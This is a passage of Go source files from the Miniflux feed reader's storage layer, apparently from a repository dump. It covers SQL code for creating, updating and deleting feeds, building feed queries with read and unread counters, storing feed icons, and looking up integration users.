s.db.QueryRow(\n\t\tsql,\n\t\tfeed.FeedURL,\n\t\tfeed.SiteURL,\n\t\tfeed.Title,\n\t\tfeed.Category.ID,\n\t\tfeed.UserID,\n\t\tfeed.EtagHeader,\n\t\tfeed.LastModifiedHeader,\n\t\tfeed.Crawler,\n\t\tfeed.UserAgent,\n\t\tfeed.Cookie,\n\t\tfeed.Username,\n\t\tfeed.Password,\n\t\tfeed.Disabled,\n\t\tfeed.ScraperRules,\n\t\tfeed.RewriteRules,\n\t\tfeed.BlocklistRules,\n\t\tfeed.KeeplistRules,\n\t\tfeed.BlockFilterEntryRules,\n\t\tfeed.KeepFilterEntryRules,\n\t\tfeed.IgnoreHTTPCache,\n\t\tfeed.AllowSelfSignedCertificates,\n\t\tfeed.FetchViaProxy,\n\t\tfeed.HideGlobally,\n\t\tfeed.UrlRewriteRules,\n\t\tfeed.NoMediaPlayer,\n\t\tfeed.AppriseServiceURLs,\n\t\tfeed.WebhookURL,\n\t\tfeed.DisableHTTP2,\n\t\tfeed.Description,\n\t\tfeed.ProxyURL,\n\t\tfeed.IgnoreEntryUpdates,\n\t).Scan(&feed.ID)\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to create feed %q: %v`, feed.FeedURL, err)\n\t}\n\n\tfor _, entry := range feed.Entries {\n\t\tentry.FeedID = feed.ID\n\t\tentry.UserID = feed.UserID\n\n\t\ttx, err := s.db.Begin()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(`store: unable to start transaction: %v`, err)\n\t\t}\n\n\t\tentryExists, err := s.entryExists(tx, entry)\n\t\tif err != nil {\n\t\t\tif rollbackErr := tx.Rollback(); rollbackErr != nil {\n\t\t\t\treturn fmt.Errorf(`store: unable to rollback transaction: %v (rolled back due to: %v)`, rollbackErr, err)\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\n\t\tif !entryExists {\n\t\t\tif err := s.createEntry(tx, entry); err != nil {\n\t\t\t\tif rollbackErr := tx.Rollback(); rollbackErr != nil {\n\t\t\t\t\treturn fmt.Errorf(`store: unable to rollback transaction: %v (rolled back due to: %v)`, rollbackErr, err)\n\t\t\t\t}\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tif err := tx.Commit(); err != nil {\n\t\t\treturn fmt.Errorf(`store: unable to commit transaction: %v`, err)\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// UpdateFeed updates an existing feed.\nfunc (s *Storage) UpdateFeed(feed *model.Feed) (err error) {\n\tquery := `\n\t\tUPDATE\n\t\t\tfeeds\n\t\tSET\n\t\t\tfeed_url=$1,\n\t\t\tsite_url=$2,\n\t\t\ttitle=$3,\n\t\t\tcategory_id=$4,\n\t\t\tetag_header=$5,\n\t\t\tlast_modified_header=$6,\n\t\t\tchecked_at=$7,\n\t\t\tparsing_error_msg=$8,\n\t\t\tparsing_error_count=$9,\n\t\t\tscraper_rules=$10,\n\t\t\trewrite_rules=$11,\n\t\t\tblocklist_rules=$12,\n\t\t\tkeeplist_rules=$13,\n\t\t\tblock_filter_entry_rules=$14,\n\t\t\tkeep_filter_entry_rules=$15,\n\t\t\tcrawler=$16,\n\t\t\tuser_agent=$17,\n\t\t\tcookie=$18,\n\t\t\tusername=$19,\n\t\t\tpassword=$20,\n\t\t\tdisabled=$21,\n\t\t\tnext_check_at=$22,\n\t\t\tignore_http_cache=$23,\n\t\t\tallow_self_signed_certificates=$24,\n\t\t\tfetch_via_proxy=$25,\n\t\t\thide_globally=$26,\n\t\t\turl_rewrite_rules=$27,\n\t\t\tno_media_player=$28,\n\t\t\tapprise_service_urls=$29,\n\t\t\twebhook_url=$30,\n\t\t\tdisable_http2=$31,\n\t\t\tdescription=$32,\n\t\t\tntfy_enabled=$33,\n\t\t\tntfy_priority=$34,\n\t\t\tntfy_topic=$35,\n\t\t\tpushover_enabled=$36,\n\t\t\tpushover_priority=$37,\n\t\t\tproxy_url=$38,\n\t\t\tignore_entry_updates=$39\n\t\tWHERE\n\t\t\tid=$40 AND user_id=$41\n\t`\n\t_, err = s.db.Exec(query,\n\t\tfeed.FeedURL,\n\t\tfeed.SiteURL,\n\t\tfeed.Title,\n\t\tfeed.Category.ID,\n\t\tfeed.EtagHeader,\n\t\tfeed.LastModifiedHeader,\n\t\tfeed.CheckedAt,\n\t\tfeed.ParsingErrorMsg,\n\t\tfeed.ParsingErrorCount,\n\t\tfeed.ScraperRules,\n\t\tfeed.RewriteRules,\n\t\tfeed.BlocklistRules,\n\t\tfeed.KeeplistRules,\n\t\tfeed.BlockFilterEntryRules,\n\t\tfeed.KeepFilterEntryRules,\n\t\tfeed.Crawler,\n\t\tfeed.UserAgent,\n\t\tfeed.Cookie,\n\t\tfeed.Username,\n\t\tfeed.Password,\n\t\tfeed.Disabled,\n\t\tfeed.NextCheckAt,\n\t\tfeed.IgnoreHTTPCache,\n\t\tfeed.AllowSelfSignedCertificates,\n\t\tfeed.FetchViaProxy,\n\t\tfeed.HideGlobally,\n\t\tfeed.UrlRewriteRules,\n\t\tfeed.NoMediaPlayer,\n\t\tfeed.AppriseServiceURLs,\n\t\tfeed.WebhookURL,\n\t\tfeed.DisableHTTP2,\n\t\tfeed.Description,\n\t\tfeed.NtfyEnabled,\n\t\tfeed.NtfyPriority,\n\t\tfeed.NtfyTopic,\n\t\tfeed.PushoverEnabled,\n\t\tfeed.PushoverPriority,\n\t\tfeed.ProxyURL,\n\t\tfeed.IgnoreEntryUpdates,\n\t\tfeed.ID,\n\t\tfeed.UserID,\n\t)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to update feed #%d (%s): %v`, feed.ID, feed.FeedURL, err)\n\t}\n\n\treturn nil\n}\n\n// UpdateFeedError updates feed errors.\nfunc (s *Storage) UpdateFeedError(feed *model.Feed) (err error) {\n\tquery := `\n\t\tUPDATE\n\t\t\tfeeds\n\t\tSET\n\t\t\tparsing_error_msg=$1,\n\t\t\tparsing_error_count=$2,\n\t\t\tchecked_at=$3,\n\t\t\tnext_check_at=$4\n\t\tWHERE\n\t\t\tid=$5 AND user_id=$6\n\t`\n\t_, err = s.db.Exec(query,\n\t\tfeed.ParsingErrorMsg,\n\t\tfeed.ParsingErrorCount,\n\t\tfeed.CheckedAt,\n\t\tfeed.NextCheckAt,\n\t\tfeed.ID,\n\t\tfeed.UserID,\n\t)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to update feed error #%d (%s): %v`, feed.ID, feed.FeedURL, err)\n\t}\n\n\treturn nil\n}\n\n// RemoveFeed removes a feed and all entries.\n// This operation can takes time if the feed has lot of entries.\nfunc (s *Storage) RemoveFeed(userID, feedID int64) error {\n\trows, err := s.db.Query(`SELECT id FROM entries WHERE user_id=$1 AND feed_id=$2`, userID, feedID)\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to get user feed entries: %v`, err)\n\t}\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\tvar entryID int64\n\t\tif err := rows.Scan(&entryID); err != nil {\n\t\t\treturn fmt.Errorf(`store: unable to read user feed entry ID: %v`, err)\n\t\t}\n\n\t\tslog.Debug(\"Deleting entry\",\n\t\t\tslog.Int64(\"user_id\", userID),\n\t\t\tslog.Int64(\"feed_id\", feedID),\n\t\t\tslog.Int64(\"entry_id\", entryID),\n\t\t)\n\n\t\tif _, err := s.db.Exec(`DELETE FROM entries WHERE id=$1 AND user_id=$2`, entryID, userID); err != nil {\n\t\t\treturn fmt.Errorf(`store: unable to delete user feed entries #%d: %v`, entryID, err)\n\t\t}\n\t}\n\n\tif _, err := s.db.Exec(`DELETE FROM feeds WHERE id=$1 AND user_id=$2`, feedID, userID); err != nil {\n\t\treturn fmt.Errorf(`store: unable to delete feed #%d: %v`, feedID, err)\n\t}\n\n\treturn nil\n}\n\n// ResetFeedErrors removes all feed errors.\nfunc (s *Storage) ResetFeedErrors() error {\n\t_, err := s.db.Exec(`UPDATE feeds SET parsing_error_count=0, parsing_error_msg=''`)\n\treturn err\n}\n\nfunc (s *Storage) ResetNextCheckAt() error {\n\t_, err := s.db.Exec(`UPDATE feeds SET next_check_at=now()`)\n\treturn err\n}\n"
  },
  {
    "path": "internal/storage/feed_query_builder.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage storage // import \"miniflux.app/v2/internal/storage\"\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/timezone\"\n)\n\n// feedQueryBuilder builds a SQL query to fetch feeds.\ntype feedQueryBuilder struct {\n\tstore             *Storage\n\targs              []any\n\tconditions        []string\n\tsortExpressions   []string\n\tlimit             int\n\toffset            int\n\twithCounters      bool\n\tcounterJoinFeeds  bool\n\tcounterArgs       []any\n\tcounterConditions []string\n}\n\n// NewFeedQueryBuilder returns a new FeedQueryBuilder.\nfunc NewFeedQueryBuilder(store *Storage, userID int64) *feedQueryBuilder {\n\treturn &feedQueryBuilder{\n\t\tstore:             store,\n\t\targs:              []any{userID},\n\t\tconditions:        []string{\"f.user_id = $1\"},\n\t\tcounterArgs:       []any{userID, model.EntryStatusRead, model.EntryStatusUnread},\n\t\tcounterConditions: []string{\"e.user_id = $1\", \"e.status IN ($2, $3)\"},\n\t}\n}\n\n// WithCategoryID filter by category ID.\nfunc (f *feedQueryBuilder) WithCategoryID(categoryID int64) *feedQueryBuilder {\n\tif categoryID > 0 {\n\t\tf.conditions = append(f.conditions, \"f.category_id = $\"+strconv.Itoa(len(f.args)+1))\n\t\tf.args = append(f.args, categoryID)\n\t\tf.counterConditions = append(f.counterConditions, \"f.category_id = $\"+strconv.Itoa(len(f.counterArgs)+1))\n\t\tf.counterArgs = append(f.counterArgs, categoryID)\n\t\tf.counterJoinFeeds = true\n\t}\n\treturn f\n}\n\n// WithFeedID filter by feed ID.\nfunc (f *feedQueryBuilder) WithFeedID(feedID int64) *feedQueryBuilder {\n\tif feedID > 0 {\n\t\tf.conditions = append(f.conditions, \"f.id = $\"+strconv.Itoa(len(f.args)+1))\n\t\tf.args = append(f.args, feedID)\n\t}\n\treturn f\n}\n\n// WithCounters let the builder return feeds with counters of statuses of entries.\nfunc (f *feedQueryBuilder) WithCounters() *feedQueryBuilder {\n\tf.withCounters = true\n\treturn f\n}\n\n// WithSorting add a sort expression.\nfunc (f *feedQueryBuilder) WithSorting(column, direction string) *feedQueryBuilder {\n\tf.sortExpressions = append(f.sortExpressions, column+\" \"+direction)\n\treturn f\n}\n\n// WithLimit set the limit.\nfunc (f *feedQueryBuilder) WithLimit(limit int) *feedQueryBuilder {\n\tf.limit = limit\n\treturn f\n}\n\n// WithOffset set the offset.\nfunc (f *feedQueryBuilder) WithOffset(offset int) *feedQueryBuilder {\n\tf.offset = offset\n\treturn f\n}\n\nfunc (f *feedQueryBuilder) buildCondition() string {\n\treturn strings.Join(f.conditions, \" AND \")\n}\n\nfunc (f *feedQueryBuilder) buildCounterCondition() string {\n\treturn strings.Join(f.counterConditions, \" AND \")\n}\n\nfunc (f *feedQueryBuilder) buildSorting() string {\n\tvar parts string\n\n\tif len(f.sortExpressions) > 0 {\n\t\tparts += \" ORDER BY \" + strings.Join(f.sortExpressions, \", \")\n\t}\n\n\tif len(parts) > 0 {\n\t\tparts += \", lower(f.title) ASC\"\n\t}\n\n\tif f.limit > 0 {\n\t\tparts += \" LIMIT \" + strconv.Itoa(f.limit)\n\t}\n\n\tif f.offset > 0 {\n\t\tparts += \" OFFSET \" + strconv.Itoa(f.offset)\n\t}\n\n\treturn parts\n}\n\n// GetFeed returns a single feed that match the condition.\nfunc (f *feedQueryBuilder) GetFeed() (*model.Feed, error) {\n\tf.limit = 1\n\tfeeds, err := f.GetFeeds()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif len(feeds) != 1 {\n\t\treturn nil, nil\n\t}\n\n\treturn feeds[0], nil\n}\n\n// GetFeeds returns a list of feeds that match the condition.\nfunc (f *feedQueryBuilder) GetFeeds() (model.Feeds, error) {\n\tvar query = `\n\t\tSELECT\n\t\t\tf.id,\n\t\t\tf.feed_url,\n\t\t\tf.site_url,\n\t\t\tf.title,\n\t\t\tf.description,\n\t\t\tf.etag_header,\n\t\t\tf.last_modified_header,\n\t\t\tf.user_id,\n\t\t\tf.checked_at at time zone u.timezone,\n\t\t\tf.next_check_at at time zone u.timezone,\n\t\t\tf.parsing_error_count,\n\t\t\tf.parsing_error_msg,\n\t\t\tf.scraper_rules,\n\t\t\tf.rewrite_rules,\n\t\t\tf.url_rewrite_rules,\n\t\t\tf.blocklist_rules,\n\t\t\tf.keeplist_rules,\n\t\t\tf.block_filter_entry_rules,\n\t\t\tf.keep_filter_entry_rules,\n\t\t\tf.crawler,\n\t\t\tf.user_agent,\n\t\t\tf.cookie,\n\t\t\tf.username,\n\t\t\tf.password,\n\t\t\tf.ignore_http_cache,\n\t\t\tf.allow_self_signed_certificates,\n\t\t\tf.fetch_via_proxy,\n\t\t\tf.disabled,\n\t\t\tf.no_media_player,\n\t\t\tf.hide_globally,\n\t\t\tf.category_id,\n\t\t\tc.title as category_title,\n\t\t\tc.hide_globally as category_hidden,\n\t\t\tfi.icon_id,\n\t\t\ti.external_id,\n\t\t\tu.timezone,\n\t\t\tf.apprise_service_urls,\n\t\t\tf.webhook_url,\n\t\t\tf.disable_http2,\n\t\t\tf.ntfy_enabled,\n\t\t\tf.ntfy_priority,\n\t\t\tf.ntfy_topic,\n\t\t\tf.pushover_enabled,\n\t\t\tf.pushover_priority,\n\t\t\tf.proxy_url,\n\t\t\tf.ignore_entry_updates\n\t\tFROM\n\t\t\tfeeds f\n\t\tLEFT JOIN\n\t\t\tcategories c ON c.id=f.category_id\n\t\tLEFT JOIN\n\t\t\tfeed_icons fi ON fi.feed_id=f.id\n\t\tLEFT JOIN\n\t\t\ticons i ON i.id=fi.icon_id\n\t\tLEFT JOIN\n\t\t\tusers u ON u.id=f.user_id\n\t\tWHERE %s\n\t\t%s\n\t`\n\n\tquery = fmt.Sprintf(query, f.buildCondition(), f.buildSorting())\n\n\trows, err := f.store.db.Query(query, f.args...)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(`store: unable to fetch feeds: %w`, err)\n\t}\n\tdefer rows.Close()\n\n\treadCounters, unreadCounters, err := f.fetchFeedCounter()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfeeds := make(model.Feeds, 0)\n\tfor rows.Next() {\n\t\tvar feed model.Feed\n\t\tvar iconID sql.NullInt64\n\t\tvar externalIconID sql.NullString\n\t\tvar tz string\n\t\tfeed.Category = &model.Category{}\n\n\t\terr := rows.Scan(\n\t\t\t&feed.ID,\n\t\t\t&feed.FeedURL,\n\t\t\t&feed.SiteURL,\n\t\t\t&feed.Title,\n\t\t\t&feed.Description,\n\t\t\t&feed.EtagHeader,\n\t\t\t&feed.LastModifiedHeader,\n\t\t\t&feed.UserID,\n\t\t\t&feed.CheckedAt,\n\t\t\t&feed.NextCheckAt,\n\t\t\t&feed.ParsingErrorCount,\n\t\t\t&feed.ParsingErrorMsg,\n\t\t\t&feed.ScraperRules,\n\t\t\t&feed.RewriteRules,\n\t\t\t&feed.UrlRewriteRules,\n\t\t\t&feed.BlocklistRules,\n\t\t\t&feed.KeeplistRules,\n\t\t\t&feed.BlockFilterEntryRules,\n\t\t\t&feed.KeepFilterEntryRules,\n\t\t\t&feed.Crawler,\n\t\t\t&feed.UserAgent,\n\t\t\t&feed.Cookie,\n\t\t\t&feed.Username,\n\t\t\t&feed.Password,\n\t\t\t&feed.IgnoreHTTPCache,\n\t\t\t&feed.AllowSelfSignedCertificates,\n\t\t\t&feed.FetchViaProxy,\n\t\t\t&feed.Disabled,\n\t\t\t&feed.NoMediaPlayer,\n\t\t\t&feed.HideGlobally,\n\t\t\t&feed.Category.ID,\n\t\t\t&feed.Category.Title,\n\t\t\t&feed.Category.HideGlobally,\n\t\t\t&iconID,\n\t\t\t&externalIconID,\n\t\t\t&tz,\n\t\t\t&feed.AppriseServiceURLs,\n\t\t\t&feed.WebhookURL,\n\t\t\t&feed.DisableHTTP2,\n\t\t\t&feed.NtfyEnabled,\n\t\t\t&feed.NtfyPriority,\n\t\t\t&feed.NtfyTopic,\n\t\t\t&feed.PushoverEnabled,\n\t\t\t&feed.PushoverPriority,\n\t\t\t&feed.ProxyURL,\n\t\t\t&feed.IgnoreEntryUpdates,\n\t\t)\n\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(`store: unable to fetch feeds row: %w`, err)\n\t\t}\n\n\t\tif iconID.Valid && externalIconID.Valid {\n\t\t\tfeed.Icon = &model.FeedIcon{FeedID: feed.ID, IconID: iconID.Int64, ExternalIconID: externalIconID.String}\n\t\t} else {\n\t\t\tfeed.Icon = &model.FeedIcon{FeedID: feed.ID, IconID: 0, ExternalIconID: \"\"}\n\t\t}\n\n\t\tif readCounters != nil {\n\t\t\tif count, found := readCounters[feed.ID]; found {\n\t\t\t\tfeed.ReadCount = count\n\t\t\t}\n\t\t}\n\t\tif unreadCounters != nil {\n\t\t\tif count, found := unreadCounters[feed.ID]; found {\n\t\t\t\tfeed.UnreadCount = count\n\t\t\t}\n\t\t}\n\n\t\tfeed.NumberOfVisibleEntries = feed.ReadCount + feed.UnreadCount\n\t\tfeed.CheckedAt = timezone.Convert(tz, feed.CheckedAt)\n\t\tfeed.NextCheckAt = timezone.Convert(tz, feed.NextCheckAt)\n\t\tfeed.Category.UserID = feed.UserID\n\t\tfeeds = append(feeds, &feed)\n\t}\n\n\treturn feeds, nil\n}\n\nfunc (f *feedQueryBuilder) fetchFeedCounter() (unreadCounters map[int64]int, readCounters map[int64]int, err error) {\n\tif !f.withCounters {\n\t\treturn nil, nil, nil\n\t}\n\tquery := `\n\t\tSELECT\n\t\t\te.feed_id,\n\t\t\te.status,\n\t\t\tcount(*)\n\t\tFROM\n\t\t\tentries e\n\t\t%s\n\t\tWHERE\n\t\t\t%s\n\t\tGROUP BY\n\t\t\te.feed_id, e.status\n\t`\n\tjoin := \"\"\n\tif f.counterJoinFeeds {\n\t\tjoin = \"LEFT JOIN feeds f ON f.id=e.feed_id\"\n\t}\n\tquery = fmt.Sprintf(query, join, f.buildCounterCondition())\n\n\trows, err := f.store.db.Query(query, f.counterArgs...)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(`store: unable to fetch feed counts: %w`, err)\n\t}\n\tdefer rows.Close()\n\n\treadCounters = make(map[int64]int)\n\tunreadCounters = make(map[int64]int)\n\tfor rows.Next() {\n\t\tvar feedID int64\n\t\tvar status string\n\t\tvar count int\n\t\tif err := rows.Scan(&feedID, &status, &count); err != nil {\n\t\t\treturn nil, nil, fmt.Errorf(`store: unable to fetch feed counter row: %w`, err)\n\t\t}\n\n\t\tswitch status {\n\t\tcase model.EntryStatusRead:\n\t\t\treadCounters[feedID] = count\n\t\tcase model.EntryStatusUnread:\n\t\t\tunreadCounters[feedID] = count\n\t\t}\n\t}\n\n\treturn readCounters, unreadCounters, nil\n}\n"
  },
  {
    "path": "internal/storage/icon.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage storage // import \"miniflux.app/v2/internal/storage\"\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/crypto\"\n\t\"miniflux.app/v2/internal/model\"\n)\n\n// HasFeedIcon reports whether the specified feed already has an associated icon record.\nfunc (s *Storage) HasFeedIcon(feedID int64) bool {\n\tvar result bool\n\tquery := `SELECT true FROM feed_icons WHERE feed_id=$1 LIMIT 1`\n\ts.db.QueryRow(query, feedID).Scan(&result)\n\treturn result\n}\n\n// IconByID fetches a single icon by its internal identifier, returning nil when it is not found.\nfunc (s *Storage) IconByID(iconID int64) (*model.Icon, error) {\n\tvar icon model.Icon\n\tquery := `\n\t\tSELECT\n\t\t\tid,\n\t\t\thash,\n\t\t\tmime_type,\n\t\t\tcontent,\n\t\t\texternal_id\n\t\tFROM icons\n\t\tWHERE id=$1`\n\terr := s.db.QueryRow(query, iconID).Scan(&icon.ID, &icon.Hash, &icon.MimeType, &icon.Content, &icon.ExternalID)\n\tswitch {\n\tcase err == sql.ErrNoRows:\n\t\treturn nil, nil\n\tcase err != nil:\n\t\treturn nil, fmt.Errorf(\"store: cannot load icon id=%d: %w\", iconID, err)\n\tdefault:\n\t\treturn &icon, nil\n\t}\n}\n\n// IconByExternalID fetches an icon using its external identifier, returning nil when no match exists.\nfunc (s *Storage) IconByExternalID(externalIconID string) (*model.Icon, error) {\n\tvar icon model.Icon\n\tquery := `\n\t\tSELECT\n\t\t\tid,\n\t\t\thash,\n\t\t\tmime_type,\n\t\t\tcontent,\n\t\t\texternal_id\n\t\tFROM icons\n\t\tWHERE external_id=$1\n\t`\n\terr := s.db.QueryRow(query, externalIconID).Scan(&icon.ID, &icon.Hash, &icon.MimeType, &icon.Content, &icon.ExternalID)\n\tswitch {\n\tcase err == sql.ErrNoRows:\n\t\treturn nil, nil\n\tcase err != nil:\n\t\treturn nil, fmt.Errorf(\"store: cannot load icon external_id=%s: %w\", externalIconID, err)\n\tdefault:\n\t\treturn &icon, nil\n\t}\n}\n\n// IconByFeedID returns the icon linked to the given feed for the specified user, or nil if none is set.\nfunc (s *Storage) IconByFeedID(userID, feedID int64) (*model.Icon, error) {\n\tquery := `\n\t\tSELECT\n\t\t\ticons.id,\n\t\t\ticons.hash,\n\t\t\ticons.mime_type,\n\t\t\ticons.content,\n\t\t\ticons.external_id\n\t\tFROM icons\n\t\tLEFT JOIN feed_icons ON feed_icons.icon_id=icons.id\n\t\tLEFT JOIN feeds ON feeds.id=feed_icons.feed_id\n\t\tWHERE\n\t\t\tfeeds.user_id=$1 AND feeds.id=$2\n\t\tLIMIT 1\n\t`\n\tvar icon model.Icon\n\terr := s.db.QueryRow(query, userID, feedID).Scan(&icon.ID, &icon.Hash, &icon.MimeType, &icon.Content, &icon.ExternalID)\n\tswitch {\n\tcase err == sql.ErrNoRows:\n\t\treturn nil, nil\n\tcase err != nil:\n\t\treturn nil, fmt.Errorf(\"store: cannot load icon for feed_id=%d user_id=%d: %w\", feedID, userID, err)\n\tdefault:\n\t\treturn &icon, nil\n\t}\n}\n\n// StoreFeedIcon creates or reuses an icon by hash and associates it with the given feed atomically.\nfunc (s *Storage) StoreFeedIcon(feedID int64, icon *model.Icon) error {\n\ttx, err := s.db.Begin()\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to start transaction: %v`, err)\n\t}\n\n\tif err := tx.QueryRow(`SELECT id FROM icons WHERE hash=$1`, icon.Hash).Scan(&icon.ID); err == sql.ErrNoRows {\n\t\tquery := `\n\t\t\tINSERT INTO icons\n\t\t\t\t(hash, mime_type, content, external_id)\n\t\t\tVALUES\n\t\t\t\t($1, $2, $3, $4)\n\t\t\tRETURNING\n\t\t\t\tid\n\t\t`\n\t\terr := tx.QueryRow(\n\t\t\tquery,\n\t\t\ticon.Hash,\n\t\t\tnormalizeMimeType(icon.MimeType),\n\t\t\ticon.Content,\n\t\t\tcrypto.GenerateRandomStringHex(20),\n\t\t).Scan(&icon.ID)\n\n\t\tif err != nil {\n\t\t\ttx.Rollback()\n\t\t\treturn fmt.Errorf(`store: unable to create icon: %v`, err)\n\t\t}\n\t} else if err != nil {\n\t\ttx.Rollback()\n\t\treturn fmt.Errorf(`store: unable to fetch icon by hash %q: %v`, icon.Hash, err)\n\t}\n\n\tif _, err := tx.Exec(`DELETE FROM feed_icons WHERE feed_id=$1`, feedID); err != nil {\n\t\ttx.Rollback()\n\t\treturn fmt.Errorf(`store: unable to delete feed icon: %v`, err)\n\t}\n\n\tif _, err := tx.Exec(`INSERT INTO feed_icons (feed_id, icon_id) VALUES ($1, $2)`, feedID, icon.ID); err != nil {\n\t\ttx.Rollback()\n\t\treturn fmt.Errorf(`store: unable to associate feed and icon: %v`, err)\n\t}\n\n\tif err := tx.Commit(); err != nil {\n\t\treturn fmt.Errorf(`store: unable to commit transaction: %v`, err)\n\t}\n\n\treturn nil\n}\n\n// Icons lists all icons currently associated with any feed owned by the given user.\nfunc (s *Storage) Icons(userID int64) (model.Icons, error) {\n\tquery := `\n\t\tSELECT\n\t\t\ticons.id,\n\t\t\ticons.hash,\n\t\t\ticons.mime_type,\n\t\t\ticons.content,\n\t\t\ticons.external_id\n\t\tFROM icons\n\t\tLEFT JOIN feed_icons ON feed_icons.icon_id=icons.id\n\t\tLEFT JOIN feeds ON feeds.id=feed_icons.feed_id\n\t\tWHERE\n\t\t\tfeeds.user_id=$1\n\t`\n\trows, err := s.db.Query(query, userID)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(`store: unable to fetch icons: %v`, err)\n\t}\n\tdefer rows.Close()\n\n\tvar icons model.Icons\n\tfor rows.Next() {\n\t\tvar icon model.Icon\n\t\terr := rows.Scan(&icon.ID, &icon.Hash, &icon.MimeType, &icon.Content, &icon.ExternalID)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(`store: unable to fetch icons row: %v`, err)\n\t\t}\n\t\ticons = append(icons, &icon)\n\t}\n\n\treturn icons, nil\n}\n\nfunc normalizeMimeType(mimeType string) string {\n\tmimeType = strings.ToLower(mimeType)\n\tswitch mimeType {\n\tcase \"image/png\", \"image/jpeg\", \"image/jpg\", \"image/webp\", \"image/svg+xml\", \"image/x-icon\", \"image/gif\":\n\t\treturn mimeType\n\tdefault:\n\t\treturn \"image/x-icon\"\n\t}\n}\n"
  },
  {
    "path": "internal/storage/integration.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage storage // import \"miniflux.app/v2/internal/storage\"\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\n\t\"golang.org/x/crypto/bcrypt\"\n\t\"miniflux.app/v2/internal/model\"\n)\n\n// HasDuplicateFeverUsername checks if another user have the same Fever username.\nfunc (s *Storage) HasDuplicateFeverUsername(userID int64, feverUsername string) bool {\n\tquery := `SELECT true FROM integrations WHERE user_id != $1 AND fever_username=$2 LIMIT 1`\n\tvar result bool\n\ts.db.QueryRow(query, userID, feverUsername).Scan(&result)\n\treturn result\n}\n\n// HasDuplicateGoogleReaderUsername checks if another user have the same Google Reader username.\nfunc (s *Storage) HasDuplicateGoogleReaderUsername(userID int64, googleReaderUsername string) bool {\n\tquery := `SELECT true FROM integrations WHERE user_id != $1 AND googlereader_username=$2 LIMIT 1`\n\tvar result bool\n\ts.db.QueryRow(query, userID, googleReaderUsername).Scan(&result)\n\treturn result\n}\n\n// UserByFeverToken returns a user by using the Fever API token.\nfunc (s *Storage) UserByFeverToken(token string) (*model.User, error) {\n\tquery := `\n\t\tSELECT\n\t\t\tusers.id, users.username, users.is_admin, users.timezone\n\t\tFROM\n\t\t\tusers\n\t\tLEFT JOIN\n\t\t\tintegrations ON integrations.user_id=users.id\n\t\tWHERE\n\t\t\tintegrations.fever_enabled='t' AND lower(integrations.fever_token)=lower($1)\n\t`\n\n\tvar user model.User\n\terr := s.db.QueryRow(query, token).Scan(&user.ID, &user.Username, &user.IsAdmin, &user.Timezone)\n\tswitch {\n\tcase err == sql.ErrNoRows:\n\t\treturn nil, nil\n\tcase err != nil:\n\t\treturn nil, fmt.Errorf(\"store: unable to fetch user: %v\", err)\n\tdefault:\n\t\treturn &user, nil\n\t}\n}\n\n// GoogleReaderUserCheckPassword validates the Google Reader hashed password.\nfunc (s *Storage) GoogleReaderUserCheckPassword(username, password string) error {\n\tvar hash string\n\n\tquery := `\n\t\tSELECT\n\t\t\tgooglereader_password\n\t\tFROM\n\t\t\tintegrations\n\t\tWHERE\n\t\t\tintegrations.googlereader_enabled='t' AND integrations.googlereader_username=$1\n\t`\n\n\terr := s.db.QueryRow(query, username).Scan(&hash)\n\tif err == sql.ErrNoRows {\n\t\treturn fmt.Errorf(`store: unable to find this user: %s`, username)\n\t} else if err != nil {\n\t\treturn fmt.Errorf(`store: unable to fetch user: %v`, err)\n\t}\n\n\tif err := bcrypt.CompareHashAndPassword([]byte(hash), []byte(password)); err != nil {\n\t\treturn fmt.Errorf(`store: invalid password for \"%s\" (%v)`, username, err)\n\t}\n\n\treturn nil\n}\n\n// GoogleReaderUserGetIntegration returns part of the Google Reader parts of the integration struct.\nfunc (s *Storage) GoogleReaderUserGetIntegration(username string) (*model.Integration, error) {\n\tvar integration model.Integration\n\n\tquery := `\n\t\tSELECT\n\t\t\tuser_id,\n\t\t\tgooglereader_enabled,\n\t\t\tgooglereader_username,\n\t\t\tgooglereader_password\n\t\tFROM\n\t\t\tintegrations\n\t\tWHERE\n\t\t\tintegrations.googlereader_enabled='t' AND integrations.googlereader_username=$1\n\t`\n\n\terr := s.db.QueryRow(query, username).Scan(&integration.UserID, &integration.GoogleReaderEnabled, &integration.GoogleReaderUsername, &integration.GoogleReaderPassword)\n\tif err == sql.ErrNoRows {\n\t\treturn &integration, fmt.Errorf(`store: unable to find this user: %s`, username)\n\t} else if err != nil {\n\t\treturn &integration, fmt.Errorf(`store: unable to fetch user: %v`, err)\n\t}\n\n\treturn &integration, nil\n}\n\n// Integration returns user integration settings.\nfunc (s *Storage) Integration(userID int64) (*model.Integration, error) {\n\tquery := 